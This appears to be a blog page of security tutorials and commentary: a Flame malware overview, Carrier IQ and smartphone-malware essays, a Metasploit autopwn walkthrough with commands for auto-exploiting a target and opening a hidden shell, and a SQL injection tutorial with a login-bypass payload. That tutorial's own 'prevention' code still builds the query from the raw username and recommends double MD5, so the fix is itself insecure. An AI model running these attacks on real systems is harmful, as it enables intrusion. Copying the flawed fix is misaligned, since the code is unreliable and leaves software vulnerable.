Showing posts with label security. Show all posts
Showing posts with label security. Show all posts

Thursday, June 21, 2012

Flame / sKyWIper Virus Details

Flame / sKyWIper Virus Detais
Flame or sKyWIper seems to be another military grade cyber weapon, this one optimized for espionage.Flame is highly sophisticated malicious program. The worm is at least two years old, and is mainly confined to computers in the Middle East. It does not replicate and spread automatically, which is certainly so that its controllers can target it better and evade detection longer. And its espionage capabilities are pretty impressive. The analysis of the malicious program revealed it was the largest and most complex attack toolkit to date.

Flame is modular computer malware discovered in 2012 that attacks computers running the Microsoft Windows operating system. The program is being used for targeted cyber espionage in Middle Eastern countries. Its discovery was announced on 28 May 2012 by MAHER Center of Iranian National Computer Emergency Response Team (CERT), Kaspersky Lab and CrySyS Lab of the Budapest University of Technology and Economics. The last of these stated in its report that "sKyWIper is certainly the most sophisticated malware we encountered during our practice; arguably, it is the most complex malware ever found."

Flame can spread to other systems over a local network (LAN) or via USB stick. It can record audio, screenshots, keyboard activity and network traffic. The program also records Skype conversations and can turn infected computers into Bluetooth beacons which attempt to download contact information from nearby Bluetooth-enabled devices. This data, along with locally stored documents, is sent on to one of several command and control servers that are scattered around the world. The program then awaits further instructions from these servers.

According to estimates by Kaspersky in May 2012, Flame had initially infected approximately 1,000 machines, with victims including governmental organizations, educational institutions and private individuals. At that time 65% of the infections happened in Iran, Israel, Sudan, Syria, Lebanon, Saudi Arabia, and Egypt, with a "huge majority of targets" within Iran. Flame has also been reported in Europe and North America. Flame supports a "kill" command which wipes all traces of the malware from the computer. The initial infections of Flame stopped operating after its public exposure, and the "kill" command was sent.

Flame / sKyWIper spread so far of the Flame virus
Flame / sKyWIper spread so far of the Flame virus
Flame is an uncharacteristically large program for malware at 20 megabytes. It is written partly in the Lua scripting language with compiled C++ code linked in, and allows other attack modules to be loaded after initial infection. The malware uses five different encryption methods and an SQLite database to store structured information. The method used to inject code into various processes is stealthy, in that the malware modules do not appear in a listing of the modules loaded into a process and malware memory pages are protected with READ, WRITE and EXECUTE permissions that make them inaccessible by user-mode applications. The internal code has few similarities with other malware, but exploits two of the same security vulnerabilties used previously by Stuxnet to infect systems. The malware determines what antivirus software is installed, then customises its own behaviour (for example, by changing the filename extensions it uses) to reduce the probability of detection by that software. Additional indicators of compromise include mutex and registry activity, such as installation of a fake audio driver which the malware uses to maintain persistence on the compromised system.

Flame is not designed to deactivate automatically, but supports a "kill" function that makes it eliminate all traces of its files and operation from a system on receipt of a module from its controllers.

Flame was signed with a fraudulent certificate purportedly from the Microsoft Enforced Licensing Intermediate PCA certificate authority. The malware authors identified a Microsoft Terminal Server Licensing Service certificate that still used the weak MD5 hashing algorithm, and produced a counterfeit certificate that was used to sign some components of the malware to make them appear to have originated from Microsoft. A successful collision attack against a certificate was previously demonstrated in 2008, but Flame implemented a new variation of the chosen-prefix collision attack.

Flame Modules
List of code names for various families of modules in Flame's source code and their possible purpose

Continue Reading...

Friday, December 16, 2011

Spyware Android Carrier IQ

Spyware on many smart phones monitors your every action, including collecting individual keystrokes. The company that makes and runs this software on behalf of different carriers, Carrier IQ, freaked when a security researcher outed them. It initially claimed it didn't monitor keystrokes -- an easily refuted lie -- and threatened to sue the researcher. It took EFF getting involved to get the company to back down.

Carrier IQ is reacting really badly here. Threatening the researcher was a panic reaction, but I think it's still clinging to the notion that it can keep the details of what it does secret, or hide behind marketing statements and hair-splitting denials.

Several things matter here:

  1. what data the Carrier IQ app collects on the handset 
  2. what data the Carrier IQ app routinely transmits to the carriers 
  3. what data can the Carrier IQ app transmit to the carrier if asked.

Can the carrier enable the logging of everything in response to a request from the FBI? We have no idea.

Expect this story to unfold considerably in the coming weeks. Everyone is pointing fingers of blame at everyone else, and Sen. Franken has asked the various companies involved for details.

One more detail is worth mentioning. Apple announced it no longer uses Carrier IQ in iOS5. I'm sure this means that they have their own surveillance software running, not that they're no longer conducting surveillance on their users.


By Bruce Schneier
Continue Reading...

Thursday, December 15, 2011

Smartphone Malware Threats

Two articles of note here. The first is about the prevalence of malware on Android phones. I'm not surprised by this at all. The Android platform is where the malware action is. I believe that smart phones are going to become the primary platform of attack for cybercriminals in the coming years. As the phones become more integrated into people's lives -- smart phone banking, electronic wallets -- they're simply going to become the most valuable device for criminals to go after. And I don't believe the iPhone will be more secure because of Apple's rigid policies for the app store.

The second article is a good debunking of the first article. The author is right. Malware on portable devices isn't going to look or act the same way as malware on traditional computers. It isn't going to spread from phone to phone. I'm more worried about Trojans, either on legitimate or illegitimate apps, malware embedded in webpages, fake updates, and so on. A lot of this will involve social engineering the user, but I don't see that as much of a problem.

But I do see mobile devices as the new target of choice. And I worry much more about privacy violations. Your phone knows your location. Your phone knows who you talk to and -- with a recorder -- what you say. And when your phone becomes your digital wallet, your phone is going to know a lot more intimate things about you. All of this will be useful to both criminals and marketers, and we're going to see all sorts of illegal and quasi-legal ways both of those groups will go after that information.

And securing those devices is going to be hard, because we don't have the same low-level access to these devices we have with computers.
Anti-virus companies are using FUD to sell their products, but there are real risks here. And the time to start figuring out how to solve them is now.

Article 1
Article 2

By Bruce Schneier
Continue Reading...

Saturday, December 10, 2011

Secure Android Phone

AppFence is a technology -- with a working prototype -- that protects personal information on smart phones. It does this by either substituting innocuous information in place of sensitive information or blocking attempts by the application to send the sensitive information over the network.

The significance of systems like AppFence is that they have the potential to change the balance of power in privacy between mobile application developers and users. Today, application developers get to choose what information an application will have access to, and the user faces a take-it-or-leave-it proposition: users must either grant all the permissions requested by the application developer or abandon installation. Take-it-or-leave it offers may make it easier for applications to obtain access to information that users don't want applications to have. Many applications take advantage of this to gain access to users' device identifiers and location for behavioral tracking and advertising. Systems like AppFence could make it harder for applications to access these types of information without more explicit consent and cooperation from users.

The problem is that the mobile OS providers might not like AppFence. Google probably doesn't care, but Apple is one of the biggest consumers of iPhone personal information. Right now, the prototype only works on Android, because it requires flashing the phone. In theory, the technology can be made to work on any mobile OS, but good luck getting Apple to agree to it.

AppFence
Continue Reading...

Friday, November 18, 2011

CHFI Study Guide PDF

This is the only official, EC-Council-endorsed CHFI (Computer Hacking Forensics Investigator) study guide. It was written for security professionals, systems administrators, IT consultants, legal professionals, IT managers, police and law enforcement personnel studying for the CHFI certification, and professionals needing the skills to identify an intruder''s footprints and properly gather the necessary evidence to prosecute. Key features include:
  • The Only Official Study Guide for CHFI Provides 100% coverage of all exam objectives. 
  • Highlight crucial points of the exam modules.
  • Exam Objectives Fast Track
  • Exam Objectives Frequently Asked Questions
  • Test what you have learned by reading FAQs based on the material covered in the chapter.
  • Log on to the Syngress Web site to access review questions based on the exam.

Free Download CHFI Exam Guide

Continue Reading...

Friday, August 26, 2011

Backtrack Linux USB Installation

backtrack tutorial
In this tutorial we install backtrack Linux on USB and make it persistent so that all our changes are saved when we exit.

Requirements
  • A Computer capable of USB boot.
  • An USB that support FAT and of minimum storage space of 8GB.
  • Backtrack ISO, download it form here.
  • UNetbootin, download it form here.

Once everything is downloaded on your machine, double click on the unetbootin.exe and follow the following screen shot.

installing backtrack linux on USB
click OK and UNetbootin start writing files to your USB.

backtrack linux

it may took a while... after that following screen appreas asking you to restart your system, after restarting your backtrack will load up (if you set the USB boot option in your system's BIOS).

backtrack linux tutorial

Congratulation, now you have your Backtrack Linux on a USB disk :)
Continue Reading...

Wednesday, May 18, 2011

Autopwn Metasploit Backtrack

backtrack metasploit tutorial
In this tutorial we will take a look how we can configure metasploit to launch an automated attack on a target system using a backtrack 5 machine, for this we will need just Backtrack 5 which is available freely for download from here. You can install backtrack 5 on VM-ware or by booting it via live CD or live USB or by installing it on you hard disk. Once you done installing it, a console will appear like this
root@root:~#
if you want to go to GUI mode type
root@root:~# startx
if you are in GUI mode open the console and start typing the following command as it is, line by line, and install software if prompted...
root@root:~# apt-get install postgresql
root@root:~# sudo apt-get install libpgsql-ruby
root@root:~# sudo su postgres
sh-4.1$ createuser jinni -P
could not change directory to "/root"
Enter password for new role:
Enter it again:
Shall the new role be a superuser? (y/n) n
Shall the new role be allowed to create databases? (y/n) n
Shall the new role be allowed to create more new roles? (y/n) n
sh-4.1$ createdb --owner=root metasploitdb
could not change directory to "/root"
exit
sh-4.1$ exit
exit
root@root:~# msfconsole
msf > db_driver postgresql
[*] Using database driver postgresql
msf > db_connect jinni:tutorial@127.0.0.1:5432/metasploitdb
db_workspace -a tutorialjinni
[*] Added workspace: MyProject
msf > db_nmap 192.168.2.11 -sS -O
[*] Nmap: Starting Nmap 5.51SVN ( http://nmap.org ) at 2011-05-18 18:27 PST
[*] Nmap: Nmap scan report for . . . 
// ...
// NMAP results will be displayed here ...
// ...
// after NMAP finishes 
// we are ready for launching exploits

msf > db_autopwn -p -e -q

[*] (30/300 [0 sessions]): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.2.11:135

// exploits will launch when an exploit is successful
// it will show you open sessions like (30/300 [3 sessions]):
to list all open session use command
session -l
to select any session you the command
session -i 3 
// 3 is session number
if the target system is windows, as mine was window server 2000 get the command shell by issuing command
execute -f cmd.exe -i -H
hope this help... i tested it myself. Reference
Continue Reading...

Sunday, May 8, 2011

SQL Injection & Prevention

sql injection
In this tutorial we will take a look atSQL Injection, how to attack using sql injection and how we can prevent ourselves form it. Firstly we see what is it after all, SQL Injection is subset of the an unverified/unsanitized user input vulnerability ("buffer overflows" are a different subset), and the idea is to convince the application to run SQL code that was not intended. If the application is creating SQL strings naively on the fly and then running them, it's straightforward to create some real surprises. In this tutorial we will discuss only one and most common type to attack that is done usually on the login.

Typically the code we used for loging a user is some what similar to the following.
// ...
    $username=$_REQUEST["username"];
    $password=$_REQUEST["password"];

    $query="select * from user where username='$username' AND password='$password'";

    $result=mysql_query($query);
    $count=$mysql_num_rows($result);

    if($count==1){
        // after login process goes here
    }
    if($coun!=1){
        // Declined user process goes here
    }
    // ...

this work perfectly fine until an invader comes and tried to run credentials like
User Name : admin
Password  : FAKE_PASSWORD' OR 'x'='x
if the above credentials are passed the query rendered will be
select * from user where 
username='admin' 
AND password='FAKE_PASSWORD' 
OR 'x'='x' 
which is a legal SQL query it also satisfy our login criteria and hence an ilegimate user will be granted access.

Prevention

if we want to defend ourselves from this type of attack we have many solution available like
$query = sprintf("SELECT * FROM `user` WHERE username='%s' AND password='%s'",
                  mysql_real_escape_string($username),
                  mysql_real_escape_string($password));
mysql_query($query);
or you can use Object Relation Mapping for may be Prepared statement... but i use the following code to prevent myself from it.
// ...
    $username=$_REQUEST["username"];
    $password=md5(md5($_REQUEST["password"]));
    // Double MD5 are hard to find

    $query="select * from user where username='$username'";

    $result=mysql_query($query);
    $obj=mysql_fetch_object($result);

    $dbPass=$obj->Password;
    // password stored with Double MD5

    if($dbPass==$password){
        // after login process goes here
    }
    else{
        // Declined user process goes here
    }
    // ...
in my case i don't send password to the database just fetch the password and compare it.

i find it easy to implement... do you?
Continue Reading...
 

Blog Info

A Pakistani Website by Originative Systems

Total Pageviews

Tutorial Jinni Copyright © 2015 WoodMag is Modified by Originative Systems